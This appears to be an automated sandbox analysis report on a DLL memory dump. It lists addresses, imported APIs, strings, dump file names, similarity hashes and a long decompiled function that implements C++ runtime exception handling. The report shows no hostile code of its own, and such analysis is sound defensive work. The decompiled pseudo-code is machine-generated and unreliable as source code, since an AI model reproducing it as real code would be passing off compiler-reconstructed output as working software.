0x6edbccac
0x6edbccba
0x6edbccc1
0x6edbccc9
0x6edbcccc
0x6edbccce
0x6edbccd1
0x6edbccd4
0x6edbccdb
0x6edbccdd
0x6edbcce3
0x6edbcce5
0x6edbcce5
0x6edbccf1
0x6edbccf1
0x6edbccff
0x6edbccff
0x6edbcd04
0x6edbcd15
0x6edbcd1a
0x6edbcf0b
0x6edbcf1a
0x6edbcf21
0x6edbcf28
0x6edbcf32
0x6edbcf35
0x6edbcf3c
0x6edbcf43
0x6edbcf49
0x6edbcf50
0x6edbcf53
0x6edbcf5a
0x6edbcf5f
0x6edbcf68
0x6edbcf6e
0x6edbcf71
0x00000000
0x00000000
0x6edbcf78
0x6edbcf80
0x6edbcf83
0x6edbcf85
0x00000000
0x6edbcd20
0x6edbcd23
0x6edbcfc0
0x6edbcfc3
0x6edbcfc5
0x6edbcfc7
0x6edbcfca
0x6edbcfcf
0x6edbcfcf
0x6edbcfca
0x6edbcfd7
0x6edbcfdd
0x6edbcfe3
0x6edbcfe5
0x6edbcfe7
0x6edbcfea
0x6edbcfef
0x6edbcfef
0x6edbcfea
0x6edbcff9
0x6edbcfff
0x6edbd003
0x6edbd00a
0x6edbd012
0x6edbd019
0x6edbd020
0x6edbd027
0x6edbd02e
0x6edbd032
0x6edbd039
0x6edbd040
0x6edbd048
0x6edbd04b
0x6edbd04e
0x6edbd053
0x6edbd055
0x6edbd055
0x6edbd057
0x6edbd05b
0x6edbd060
0x00000000
0x6edbd060
0x6edbcd2b
0x6edbcd31
0x6edbcd33
0x00000000
0x00000000
0x6edbcd3c
0x6edbcd3f
0x6edbcd46
0x6edbcd4d
0x6edbcd54
0x6edbcd5b
0x6edbcd62
0x6edbcd70
0x00000000
0x00000000
0x6edbcd7b
0x6edbcd7e
0x6edbcd86
0x6edbcd88
0x6edbcf88
0x6edbcf8b
0x6edbcf92
0x6edbcf9b
0x6edbcf9d
0x6edbcf9f
0x6edbcf9f
0x6edbcfab
0x6edbcfab
0x6edbcfbb
0x00000000
0x6edbcfbb
0x6edbcd1a
0x6edbceb1
0x00000000
0x6edbceb1
0x6edbcb84
0x00000000
0x6edbcb84
0x6edbcb6e
0x6edbcb16
0x6edbc97f

APIs

Part of subcall function 6EDBC8C0: AcquireSRWLockShared.KERNEL32(6EE0ADBC), ref: 6EDBC945

HeapFree.KERNEL32(00000000,00000000), ref: 6EDBCA9C
HeapFree.KERNEL32(00000000,?), ref: 6EDBCAAA
TlsGetValue.KERNEL32(00000000), ref: 6EDBCB0D
HeapFree.KERNEL32(00000000,00000000), ref: 6EDBCCF1
HeapFree.KERNEL32(00000000,?), ref: 6EDBCCFF

Strings

Box<dyn Any><unnamed>thread '' panicked at '', , xrefs: 6EDBCDC0
cannot access a Thread Local Storage value during or after destructionC:jhdokdvbachceydqtheqlppakhgzijyekeivcljjvbkvyjmwyqejgcsvnqcbhbexvfcyaikjiycwgbjpytkvctpgymeigmgnvityoxcirvtcevutdotfqbgtduf, xrefs: 6EDBC90D, 6EDBC988

Memory Dump Source

Source File: 00000000.00000002.597047255.000000006EDB1000.00000020.00020000.sdmp, Offset: 6EDB0000, based on PE: true

Associated: 00000000.00000002.597037041.000000006EDB0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.597074849.000000006EDD8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.597107558.000000006EE0A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.597136132.000000006EE0C000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.597156544.000000006EE0D000.00000002.00020000.sdmp Download File

Similarity

API ID: FreeHeap$AcquireLockSharedValue
String ID: Box<dyn Any><unnamed>thread '' panicked at '', $cannot access a Thread Local Storage value during or after destructionC:jhdokdvbachceydqtheqlppakhgzijyekeivcljjvbkvyjmwyqejgcsvnqcbhbexvfcyaikjiycwgbjpytkvctpgymeigmgnvityoxcirvtcevutdotfqbgtduf
API String ID: 942675266-244047474
Opcode ID: 67fc89fb8c14749bb91ff6d87079781b43aced19788b942d69918e07ab078143
Instruction ID: e885116b5a2a6d3496aab3122dd350d99f8f0a4a02cc451032ce8a7f6fff3f04
Opcode Fuzzy Hash: 67fc89fb8c14749bb91ff6d87079781b43aced19788b942d69918e07ab078143
Instruction Fuzzy Hash: 820205B0A00219DFDB10CFE4C854B9EBBB5FF49309F108569D41AAB380E776A946CF95

Uniqueness

Uniqueness Score: -1.00%

Function 6EDCD036, Relevance: 17.8, APIs: 6, Strings: 4, Instructions: 304
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E6EDCD036(signed int __edx, signed char* _a4, signed int _a8, signed int _a12, char _a16, signed int* _a20, signed int _a24, signed int _a28, signed int _a32) {
				signed char* _v0;
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				intOrPtr _v24;
				char _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				intOrPtr _v48;
				signed int _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				void _v64;
				signed int _v68;
				char _v84;
				intOrPtr _v88;
				signed int _v92;
				intOrPtr _v100;
				void _v104;
				intOrPtr* _v112;
				signed char* _v184;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t202;
				signed int _t203;
				char _t204;
				signed int _t206;
				signed int _t208;
				signed char* _t209;
				signed int _t210;
				signed int _t211;
				signed int _t215;
				void* _t218;
				signed char* _t221;
				void* _t223;
				void* _t225;
				signed char _t229;
				signed int _t230;
				void* _t232;
				void* _t235;
				void* _t238;
				signed char _t245;
				signed int _t250;
				void* _t253;
				signed int* _t255;
				signed int _t256;
				intOrPtr _t257;
				signed int _t258;
				void* _t263;
				void* _t268;
				void* _t269;
				signed int _t273;
				signed char* _t274;
				intOrPtr* _t275;
				signed char _t276;
				signed int _t277;
				signed int _t278;
				intOrPtr* _t280;
				signed int _t281;
				signed int _t282;
				signed int _t287;
				signed int _t294;
				signed int _t295;
				signed int _t298;
				signed int _t300;
				signed char* _t301;
				signed int _t302;
				signed int _t303;
				signed int* _t305;
				signed char* _t308;
				signed int _t318;
				signed int _t319;
				signed int _t321;
				signed int _t330;
				void* _t332;
				void* _t334;
				void* _t335;
				void* _t336;
				void* _t337;

				_t300 = __edx;
				_push(_t319);
				_t305 = _a20;
				_v20 = 0;
				_v28 = 0;
				_t279 = E6EDCDF98(_a8, _a16, _t305);
				_t335 = _t334 + 0xc;
				_v12 = _t279;
				if(_t279 < 0xffffffff || _t279 >= _t305[1]) {
					L66:
					_t202 = E6EDCF563(_t274, _t279, _t300, _t305, _t319);
					asm("int3");
					_t332 = _t335;
					_t336 = _t335 - 0x38;
					_push(_t274);
					_t275 = _v112;
					__eflags =  *_t275 - 0x80000003;
					if( *_t275 == 0x80000003) {
						return _t202;
					} else {
						_push(_t319);
						_push(_t305);
						_t203 = E6EDCCCF1(_t275, _t279, _t300, _t305, _t319);
						__eflags =  *(_t203 + 8);
						if( *(_t203 + 8) != 0) {
							__imp__EncodePointer(0);
							_t319 = _t203;
							_t223 = E6EDCCCF1(_t275, _t279, _t300, 0, _t319);
							__eflags =  *((intOrPtr*)(_t223 + 8)) - _t319;
							if( *((intOrPtr*)(_t223 + 8)) != _t319) {
								__eflags =  *_t275 - 0xe0434f4d;
								if( *_t275 != 0xe0434f4d) {
									__eflags =  *_t275 - 0xe0434352;
									if( *_t275 != 0xe0434352) {
										_t215 = E6EDCC537(_t300, 0, _t319, _t275, _a4, _a8, _a12, _a16, _a24, _a28);
										_t336 = _t336 + 0x1c;
										__eflags = _t215;
										if(_t215 != 0) {
											L83:
											return _t215;
										}
									}
								}
							}
						}
						_t204 = _a16;
						_v28 = _t204;
						_v24 = 0;
						__eflags =  *(_t204 + 0xc);
						if( *(_t204 + 0xc) > 0) {
							_push(_a24);
							E6EDCC46A(_t275, _t279, 0, _t319,  &_v44,  &_v28, _a20, _a12, _t204);
							_t302 = _v40;
							_t337 = _t336 + 0x18;
							_t215 = _v44;
							_v20 = _t215;
							_v12 = _t302;
							__eflags = _t302 - _v32;
							if(_t302 >= _v32) {
								goto L83;
							}
							_t281 = _t302 * 0x14;
							__eflags = _t281;
							_v16 = _t281;
							do {
								_t282 = 5;
								_t218 = memcpy( &_v64,  *((intOrPtr*)( *_t215 + 0x10)) + _t281, _t282 << 2);
								_t337 = _t337 + 0xc;
								__eflags = _v64 - _t218;
								if(_v64 > _t218) {
									goto L82;
								}
								__eflags = _t218 - _v60;
								if(_t218 > _v60) {
									goto L82;
								}
								_t221 = _v48 + 0xfffffff0 + (_v52 << 4);
								_t287 = _t221[4];
								__eflags = _t287;
								if(_t287 == 0) {
									L80:
									__eflags =  *_t221 & 0x00000040;
									if(( *_t221 & 0x00000040) == 0) {
										_push(0);
										_push(1);
										E6EDCCFB6(_t302, _t275, _a4, _a8, _a12, _a16, _t221, 0,  &_v64, _a24, _a28);
										_t302 = _v12;
										_t337 = _t337 + 0x30;
									}
									goto L82;
								}
								__eflags =  *((char*)(_t287 + 8));
								if( *((char*)(_t287 + 8)) != 0) {
									goto L82;
								}
								goto L80;
								L82:
								_t302 = _t302 + 1;
								_t215 = _v20;
								_t281 = _v16 + 0x14;
								_v12 = _t302;
								_v16 = _t281;
								__eflags = _t302 - _v32;
							} while (_t302 < _v32);
							goto L83;
						}
						E6EDCF563(_t275, _t279, _t300, 0, _t319);
						asm("int3");
						_push(_t332);
						_t301 = _v184;
						_push(_t275);
						_push(_t319);
						_push(0);
						_t206 = _t301[4];
						__eflags = _t206;
						if(_t206 == 0) {
							L108:
							_t208 = 1;
							__eflags = 1;
						} else {
							_t280 = _t206 + 8;
							__eflags =  *_t280;
							if( *_t280 == 0) {
								goto L108;
							} else {
								__eflags =  *_t301 & 0x00000080;
								_t308 = _v0;
								if(( *_t301 & 0x00000080) == 0) {
									L90:
									_t276 = _t308[4];
									_t321 = 0;
									__eflags = _t206 - _t276;
									if(_t206 == _t276) {
										L100:
										__eflags =  *_t308 & 0x00000002;
										if(( *_t308 & 0x00000002) == 0) {
											L102:
											_t209 = _a4;
											__eflags =  *_t209 & 0x00000001;
											if(( *_t209 & 0x00000001) == 0) {
												L104:
												__eflags =  *_t209 & 0x00000002;
												if(( *_t209 & 0x00000002) == 0) {
													L106:
													_t321 = 1;
													__eflags = 1;
												} else {
													__eflags =  *_t301 & 0x00000002;
													if(( *_t301 & 0x00000002) != 0) {
														goto L106;
													}
												}
											} else {
												__eflags =  *_t301 & 0x00000001;
												if(( *_t301 & 0x00000001) != 0) {
													goto L104;
												}
											}
										} else {
											__eflags =  *_t301 & 0x00000008;
											if(( *_t301 & 0x00000008) != 0) {
												goto L102;
											}
										}
										_t208 = _t321;
									} else {
										_t185 = _t276 + 8; // 0x6e
										_t210 = _t185;
										while(1) {
											_t277 =  *_t280;
											__eflags = _t277 -  *_t210;
											if(_t277 !=  *_t210) {
												break;
											}
											__eflags = _t277;
											if(_t277 == 0) {
												L96:
												_t211 = _t321;
											} else {
												_t278 =  *((intOrPtr*)(_t280 + 1));
												__eflags = _t278 -  *((intOrPtr*)(_t210 + 1));
												if(_t278 !=  *((intOrPtr*)(_t210 + 1))) {
													break;
												} else {
													_t280 = _t280 + 2;
													_t210 = _t210 + 2;
													__eflags = _t278;
													if(_t278 != 0) {
														continue;
													} else {
														goto L96;
													}
												}
											}
											L98:
											__eflags = _t211;
											if(_t211 == 0) {
												goto L100;
											} else {
												_t208 = 0;
											}
											goto L109;
										}
										asm("sbb eax, eax");
										_t211 = _t210 | 0x00000001;
										__eflags = _t211;
										goto L98;
									}
								} else {
									__eflags =  *_t308 & 0x00000010;
									if(( *_t308 & 0x00000010) != 0) {
										goto L108;
									} else {
										goto L90;
									}
								}
							}
						}
						L109:
						return _t208;
					}
				} else {
					_t274 = _a4;
					if( *_t274 != 0xe06d7363 || _t274[0x10] != 3 || _t274[0x14] != 0x19930520 && _t274[0x14] != 0x19930521 && _t274[0x14] != 0x19930522) {
						L22:
						_t300 = _a12;
						_v8 = _t300;
						goto L24;
					} else {
						_t319 = 0;
						if(_t274[0x1c] != 0) {
							goto L22;
						} else {
							_t225 = E6EDCCCF1(_t274, _t279, _t300, _t305, 0);
							if( *((intOrPtr*)(_t225 + 0x10)) == 0) {
								L60:
								return _t225;
							} else {
								_t274 =  *(E6EDCCCF1(_t274, _t279, _t300, _t305, 0) + 0x10);
								_t263 = E6EDCCCF1(_t274, _t279, _t300, _t305, 0);
								_v28 = 1;
								_v8 =  *((intOrPtr*)(_t263 + 0x14));
								if(_t274 == 0 ||  *_t274 == 0xe06d7363 && _t274[0x10] == 3 && (_t274[0x14] == 0x19930520 || _t274[0x14] == 0x19930521 || _t274[0x14] == 0x19930522) && _t274[0x1c] == _t319) {
									goto L66;
								} else {
									if( *((intOrPtr*)(E6EDCCCF1(_t274, _t279, _t300, _t305, _t319) + 0x1c)) == _t319) {
										L23:
										_t300 = _v8;
										_t279 = _v12;
										L24:
										_v52 = _t305;
										_v48 = 0;
										__eflags =  *_t274 - 0xe06d7363;
										if( *_t274 != 0xe06d7363) {
											L56:
											__eflags = _t305[3];
											if(_t305[3] <= 0) {
												goto L59;
											} else {
												__eflags = _a24;
												if(_a24 != 0) {
													goto L66;
												} else {
													_push(_a32);
													_push(_a28);
													_push(_t279);
													_push(_t305);
													_push(_a16);
													_push(_t300);
													_push(_a8);
													_push(_t274);
													L67();
													_t335 = _t335 + 0x20;
													goto L59;
												}
											}
										} else {
											__eflags = _t274[0x10] - 3;
											if(_t274[0x10] != 3) {
												goto L56;
											} else {
												__eflags = _t274[0x14] - 0x19930520;
												if(_t274[0x14] == 0x19930520) {
													L29:
													_t319 = _a32;
													__eflags = _t305[3];
													if(_t305[3] > 0) {
														_push(_a28);
														E6EDCC46A(_t274, _t279, _t305, _t319,  &_v68,  &_v52, _t279, _a16, _t305);
														_t300 = _v64;
														_t335 = _t335 + 0x18;
														_t250 = _v68;
														_v44 = _t250;
														_v16 = _t300;
														__eflags = _t300 - _v56;
														if(_t300 < _v56) {
															_t294 = _t300 * 0x14;
															__eflags = _t294;
															_v32 = _t294;
															do {
																_t295 = 5;
																_t253 = memcpy( &_v104,  *((intOrPtr*)( *_t250 + 0x10)) + _t294, _t295 << 2);
																_t335 = _t335 + 0xc;
																__eflags = _v104 - _t253;
																if(_v104 <= _t253) {
																	__eflags = _t253 - _v100;
																	if(_t253 <= _v100) {
																		_t298 = 0;
																		_v20 = 0;
																		__eflags = _v92;
																		if(_v92 != 0) {
																			_t255 =  *(_t274[0x1c] + 0xc);
																			_t303 =  *_t255;
																			_t256 =  &(_t255[1]);
																			__eflags = _t256;
																			_v36 = _t256;
																			_t257 = _v88;
																			_v40 = _t303;
																			_v24 = _t257;
																			do {
																				asm("movsd");
																				asm("movsd");
																				asm("movsd");
																				asm("movsd");
																				_t318 = _v36;
																				_t330 = _t303;
																				__eflags = _t330;
																				if(_t330 <= 0) {
																					goto L40;
																				} else {
																					while(1) {
																						_push(_t274[0x1c]);
																						_t258 =  &_v84;
																						_push( *_t318);
																						_push(_t258);
																						L86();
																						_t335 = _t335 + 0xc;
																						__eflags = _t258;
																						if(_t258 != 0) {
																							break;
																						}
																						_t330 = _t330 - 1;
																						_t318 = _t318 + 4;
																						__eflags = _t330;
																						if(_t330 > 0) {
																							continue;
																						} else {
																							_t298 = _v20;
																							_t257 = _v24;
																							_t303 = _v40;
																							goto L40;
																						}
																						goto L43;
																					}
																					_push(_a24);
																					_push(_v28);
																					E6EDCCFB6(_t303, _t274, _a8, _v8, _a16, _a20,  &_v84,  *_t318,  &_v104, _a28, _a32);
																					_t335 = _t335 + 0x30;
																				}
																				L43:
																				_t300 = _v16;
																				goto L44;
																				L40:
																				_t298 = _t298 + 1;
																				_t257 = _t257 + 0x10;
																				_v20 = _t298;
																				_v24 = _t257;
																				__eflags = _t298 - _v92;
																			} while (_t298 != _v92);
																			goto L43;
																		}
																	}
																}
																L44:
																_t300 = _t300 + 1;
																_t250 = _v44;
																_t294 = _v32 + 0x14;
																_v16 = _t300;
																_v32 = _t294;
																__eflags = _t300 - _v56;
															} while (_t300 < _v56);
															_t305 = _a20;
															_t319 = _a32;
														}
													}
													__eflags = _a24;
													if(__eflags != 0) {
														_push(1);
														E6EDCCA71(_t274, _t305, _t319, __eflags);
														_t279 = _t274;
													}
													__eflags = ( *_t305 & 0x1fffffff) - 0x19930521;
													if(( *_t305 & 0x1fffffff) < 0x19930521) {
														L59:
														_t225 = E6EDCCCF1(_t274, _t279, _t300, _t305, _t319);
														__eflags =  *(_t225 + 0x1c);
														if( *(_t225 + 0x1c) != 0) {
															goto L66;
														} else {
															goto L60;
														}
													} else {
														__eflags = _t305[7];
														if(_t305[7] != 0) {
															L52:
															_t229 = _t305[8] >> 2;
															__eflags = _t229 & 0x00000001;
															if((_t229 & 0x00000001) == 0) {
																_push(_t305[7]);
																_t230 = E6EDCDA45(_t274, _t305, _t319, _t274);
																_pop(_t279);
																__eflags = _t230;
																if(_t230 == 0) {
																	goto L63;
																} else {
																	goto L59;
																}
															} else {
																 *(E6EDCCCF1(_t274, _t279, _t300, _t305, _t319) + 0x10) = _t274;
																_t238 = E6EDCCCF1(_t274, _t279, _t300, _t305, _t319);
																_t290 = _v8;
																 *((intOrPtr*)(_t238 + 0x14)) = _v8;
																goto L61;
															}
														} else {
															_t245 = _t305[8] >> 2;
															__eflags = _t245 & 0x00000001;
															if((_t245 & 0x00000001) == 0) {
																goto L59;
															} else {
																__eflags = _a28;
																if(_a28 != 0) {
																	goto L59;
																} else {
																	goto L52;
																}
															}
														}
													}
												} else {
													__eflags = _t274[0x14] - 0x19930521;
													if(_t274[0x14] == 0x19930521) {
														goto L29;
													} else {
														__eflags = _t274[0x14] - 0x19930522;
														if(_t274[0x14] != 0x19930522) {
															goto L56;
														} else {
															goto L29;
														}
													}
												}
											}
										}
									} else {
										_v16 =  *((intOrPtr*)(E6EDCCCF1(_t274, _t279, _t300, _t305, _t319) + 0x1c));
										_t268 = E6EDCCCF1(_t274, _t279, _t300, _t305, _t319);
										_push(_v16);
										 *(_t268 + 0x1c) = _t319;
										_t269 = E6EDCDA45(_t274, _t305, _t319, _t274);
										_pop(_t290);
										if(_t269 != 0) {
											goto L23;
										} else {
											_t305 = _v16;
											_t356 =  *_t305 - _t319;
											if( *_t305 <= _t319) {
												L61:
												E6EDCF50C(_t274, _t290, _t300, _t305, _t319, __eflags);
											} else {
												while(1) {
													_t290 =  *((intOrPtr*)(_t319 + _t305[1] + 4));
													if(E6EDCD6D9( *((intOrPtr*)(_t319 + _t305[1] + 4)), _t356, ?str?) != 0) {
														goto L62;
													}
													_t319 = _t319 + 0x10;
													_t273 = _v20 + 1;
													_v20 = _t273;
													_t356 = _t273 -  *_t305;
													if(_t273 >=  *_t305) {
														goto L61;
													} else {
														continue;
													}
													goto L62;
												}
											}
											L62:
											_push(1);
											_push(_t274);
											E6EDCCA71(_t274, _t305, _t319, __eflags);
											_t279 =  &_v64;
											E6EDCD6C1( &_v64);
											E6EDCC29C( &_v64, 0x6ee07f7c);
											L63:
											 *(E6EDCCCF1(_t274, _t279, _t300, _t305, _t319) + 0x10) = _t274;
											_t232 = E6EDCCCF1(_t274, _t279, _t300, _t305, _t319);
											_t279 = _v8;
											 *(_t232 + 0x14) = _v8;
											__eflags = _t319;
											if(_t319 == 0) {
												_t319 = _a8;
											}
											E6EDCC65D(_t279, _t319, _t274);
											E6EDCD945(_a8, _a16, _t305);
											_t235 = E6EDCDB02(_t305);
											_t335 = _t335 + 0x10;
											_push(_t235);
											E6EDCD8BC(_t274, _t279, _t300, _t305, _t319, __eflags);
											goto L66;
										}
									}
								}
							}
						}
					}
				}
			}

0x6edcd036
0x6edcd03d
0x6edcd03f
0x6edcd048
0x6edcd04e
0x6edcd056
0x6edcd058
0x6edcd05b
0x6edcd061
0x6edcd3da
0x6edcd3da
0x6edcd3df
0x6edcd3e1
0x6edcd3e3
0x6edcd3e6
0x6edcd3e7
0x6edcd3ea
0x6edcd3f0
0x6edcd50f
0x6edcd3f6
0x6edcd3f6
0x6edcd3f7
0x6edcd3f8
0x6edcd3ff
0x6edcd402
0x6edcd405
0x6edcd40b
0x6edcd40d
0x6edcd412
0x6edcd415
0x6edcd417
0x6edcd41d
0x6edcd41f
0x6edcd425
0x6edcd43a
0x6edcd43f
0x6edcd442
0x6edcd444
0x6edcd50b
0x00000000
0x6edcd50c
0x6edcd444
0x6edcd425
0x6edcd41d
0x6edcd415
0x6edcd44a
0x6edcd44d
0x6edcd450
0x6edcd453
0x6edcd456
0x6edcd45c
0x6edcd46e
0x6edcd473
0x6edcd476
0x6edcd479
0x6edcd47c
0x6edcd47f
0x6edcd482
0x6edcd485
0x00000000
0x00000000
0x6edcd48b
0x6edcd48b
0x6edcd48e
0x6edcd491
0x6edcd4a0
0x6edcd4a1
0x6edcd4a1
0x6edcd4a3
0x6edcd4a6
0x00000000
0x00000000
0x6edcd4a8
0x6edcd4ab
0x00000000
0x00000000
0x6edcd4b9
0x6edcd4bb
0x6edcd4be
0x6edcd4c0
0x6edcd4c8
0x6edcd4c8
0x6edcd4cb
0x6edcd4cd
0x6edcd4cf
0x6edcd4eb
0x6edcd4f0
0x6edcd4f3
0x6edcd4f3
0x00000000
0x6edcd4cb
0x6edcd4c2
0x6edcd4c6
0x00000000
0x00000000
0x00000000
0x6edcd4f6
0x6edcd4f9
0x6edcd4fa
0x6edcd4fd
0x6edcd500
0x6edcd503
0x6edcd506
0x6edcd506
0x00000000
0x6edcd491
0x6edcd510
0x6edcd515
0x6edcd516
0x6edcd519
0x6edcd51c
0x6edcd51d
0x6edcd51e
0x6edcd51f
0x6edcd522
0x6edcd524
0x6edcd59c
0x6edcd59e
0x6edcd59e
0x6edcd526
0x6edcd526
0x6edcd529
0x6edcd52c
0x00000000
0x6edcd52e
0x6edcd52e
0x6edcd531
0x6edcd534
0x6edcd53b
0x6edcd53b
0x6edcd53e
0x6edcd540
0x6edcd542
0x6edcd574
0x6edcd574
0x6edcd577
0x6edcd57e
0x6edcd57e
0x6edcd581
0x6edcd584
0x6edcd58b
0x6edcd58b
0x6edcd58e
0x6edcd595
0x6edcd597
0x6edcd597
0x6edcd590
0x6edcd590
0x6edcd593
0x00000000
0x00000000
0x6edcd593
0x6edcd586
0x6edcd586
0x6edcd589
0x00000000
0x00000000
0x6edcd589
0x6edcd579
0x6edcd579
0x6edcd57c
0x00000000
0x00000000
0x6edcd57c
0x6edcd598
0x6edcd544
0x6edcd544
0x6edcd544
0x6edcd547
0x6edcd547
0x6edcd549
0x6edcd54b
0x00000000
0x00000000
0x6edcd54d
0x6edcd54f
0x6edcd563
0x6edcd563
0x6edcd551
0x6edcd551
0x6edcd554
0x6edcd557
0x00000000
0x6edcd559
0x6edcd559
0x6edcd55c
0x6edcd55f
0x6edcd561
0x00000000
0x00000000
0x00000000
0x00000000
0x6edcd561
0x6edcd557
0x6edcd56c
0x6edcd56c
0x6edcd56e
0x00000000
0x6edcd570
0x6edcd570
0x6edcd570
0x00000000
0x6edcd56e
0x6edcd567
0x6edcd569
0x6edcd569
0x00000000
0x6edcd569
0x6edcd536
0x6edcd536
0x6edcd539
0x00000000
0x00000000
0x00000000
0x00000000
0x6edcd539
0x6edcd534
0x6edcd52c
0x6edcd59f
0x6edcd5a3
0x6edcd5a3
0x6edcd070
0x6edcd070
0x6edcd079
0x6edcd176
0x6edcd176
0x6edcd179
0x00000000
0x6edcd0a8
0x6edcd0a8
0x6edcd0ad
0x00000000
0x6edcd0b3
0x6edcd0b3
0x6edcd0bb
0x6edcd374
0x6edcd378
0x6edcd0c1
0x6edcd0c6
0x6edcd0c9
0x6edcd0ce
0x6edcd0d5
0x6edcd0da
0x00000000
0x6edcd112
0x6edcd11a
0x6edcd17e
0x6edcd17e
0x6edcd181
0x6edcd184
0x6edcd186
0x6edcd189
0x6edcd18c
0x6edcd192
0x6edcd343
0x6edcd343
0x6edcd346
0x00000000
0x6edcd348
0x6edcd348
0x6edcd34b
0x00000000
0x6edcd351
0x6edcd351
0x6edcd354
0x6edcd357
0x6edcd358
0x6edcd359
0x6edcd35c
0x6edcd35d
0x6edcd360
0x6edcd361
0x6edcd366
0x00000000
0x6edcd366
0x6edcd34b
0x6edcd198
0x6edcd198
0x6edcd19c
0x00000000
0x6edcd1a2
0x6edcd1a2
0x6edcd1a9
0x6edcd1c1
0x6edcd1c1
0x6edcd1c4
0x6edcd1c7
0x6edcd1cd
0x6edcd1dd
0x6edcd1e2
0x6edcd1e5
0x6edcd1e8
0x6edcd1eb
0x6edcd1ee
0x6edcd1f1
0x6edcd1f4
0x6edcd1fa
0x6edcd1fa
0x6edcd1fd
0x6edcd200
0x6edcd20f
0x6edcd210
0x6edcd210
0x6edcd212
0x6edcd215
0x6edcd21b
0x6edcd21e
0x6edcd224
0x6edcd226
0x6edcd229
0x6edcd22c
0x6edcd235
0x6edcd238
0x6edcd23a
0x6edcd23a
0x6edcd23d
0x6edcd240
0x6edcd243
0x6edcd246
0x6edcd249
0x6edcd24e
0x6edcd24f
0x6edcd250
0x6edcd251
0x6edcd252
0x6edcd255
0x6edcd257
0x6edcd259
0x00000000
0x6edcd25b
0x6edcd25b
0x6edcd25b
0x6edcd25e
0x6edcd261
0x6edcd263
0x6edcd264
0x6edcd269
0x6edcd26c
0x6edcd26e
0x00000000
0x00000000
0x6edcd270
0x6edcd271
0x6edcd274
0x6edcd276
0x00000000
0x6edcd278
0x6edcd278
0x6edcd27b
0x6edcd27e
0x00000000
0x6edcd27e
0x00000000
0x6edcd276
0x6edcd292
0x6edcd298
0x6edcd2b5
0x6edcd2ba
0x6edcd2ba
0x6edcd2bd
0x6edcd2bd
0x00000000
0x6edcd281
0x6edcd281
0x6edcd282
0x6edcd285
0x6edcd288
0x6edcd28b
0x6edcd28b
0x00000000
0x6edcd290
0x6edcd22c
0x6edcd21e
0x6edcd2c0
0x6edcd2c3
0x6edcd2c4
0x6edcd2c7
0x6edcd2ca
0x6edcd2cd
0x6edcd2d0
0x6edcd2d0
0x6edcd2d9
0x6edcd2dc
0x6edcd2dc
0x6edcd1f4
0x6edcd2df
0x6edcd2e3
0x6edcd2e5
0x6edcd2e8
0x6edcd2ee
0x6edcd2ee
0x6edcd2f6
0x6edcd2fb
0x6edcd369
0x6edcd369
0x6edcd36e
0x6edcd372
0x00000000
0x00000000
0x00000000
0x00000000
0x6edcd2fd
0x6edcd2fd
0x6edcd301
0x6edcd313
0x6edcd316
0x6edcd319
0x6edcd31b
0x6edcd332
0x6edcd336
0x6edcd33c
0x6edcd33d
0x6edcd33f
0x00000000
0x6edcd341
0x00000000
0x6edcd341
0x6edcd31d
0x6edcd322
0x6edcd325
0x6edcd32a
0x6edcd32d
0x00000000
0x6edcd32d
0x6edcd303
0x6edcd306
0x6edcd309
0x6edcd30b
0x00000000
0x6edcd30d
0x6edcd30d
0x6edcd311
0x00000000
0x00000000
0x00000000
0x00000000
0x6edcd311
0x6edcd30b
0x6edcd301
0x6edcd1ab
0x6edcd1ab
0x6edcd1b2
0x00000000
0x6edcd1b4
0x6edcd1b4
0x6edcd1bb
0x00000000
0x00000000
0x00000000
0x00000000
0x6edcd1bb
0x6edcd1b2
0x6edcd1a9
0x6edcd19c
0x6edcd11c
0x6edcd124
0x6edcd127
0x6edcd12c
0x6edcd130
0x6edcd133
0x6edcd139
0x6edcd13c
0x00000000
0x6edcd13e
0x6edcd13e
0x6edcd141
0x6edcd143
0x6edcd379
0x6edcd379
0x00000000
0x6edcd149
0x6edcd151
0x6edcd15c
0x00000000
0x00000000
0x6edcd165
0x6edcd168
0x6edcd169
0x6edcd16c
0x6edcd16e
0x00000000
0x6edcd174
0x00000000
0x6edcd174
0x00000000
0x6edcd16e
0x6edcd149
0x6edcd37e
0x6edcd37e
0x6edcd380
0x6edcd381
0x6edcd388
0x6edcd38b
0x6edcd399
0x6edcd39e
0x6edcd3a3
0x6edcd3a6
0x6edcd3ab
0x6edcd3ae
0x6edcd3b1
0x6edcd3b3
0x6edcd3b5
0x6edcd3b5
0x6edcd3ba
0x6edcd3c6
0x6edcd3cc
0x6edcd3d1
0x6edcd3d4
0x6edcd3d5
0x00000000
0x6edcd3d5
0x6edcd13c
0x6edcd11a
0x6edcd0da
0x6edcd0bb
0x6edcd0ad
0x6edcd079

APIs

IsInExceptionSpec.LIBVCRUNTIME ref: 6EDCD133
type_info::operator==.LIBVCRUNTIME ref: 6EDCD155
___TypeMatch.LIBVCRUNTIME ref: 6EDCD264
IsInExceptionSpec.LIBVCRUNTIME ref: 6EDCD336
_UnwindNestedFrames.LIBCMT ref: 6EDCD3BA
CallUnexpected.LIBVCRUNTIME ref: 6EDCD3D5

Strings

csm, xrefs: 6EDCD18C
csm, xrefs: 6EDCD0E0
|$n, xrefs: 6EDCD14C
csm, xrefs: 6EDCD073

Memory Dump Source

Source File: 00000000.00000002.597047255.000000006EDB1000.00000020.00020000.sdmp, Offset: 6EDB0000, based on PE: true

Associated: 00000000.00000002.597037041.000000006EDB0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.597074849.000000006EDD8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.597107558.000000006EE0A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.597136132.000000006EE0C000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.597156544.000000006EE0D000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionSpec$CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm$|$n
API String ID: 2123188842-2858037049
Opcode ID: 7abba6f8315e7441b1f34ddc226efb62002b73120e6667bcb3a90952a994d31d
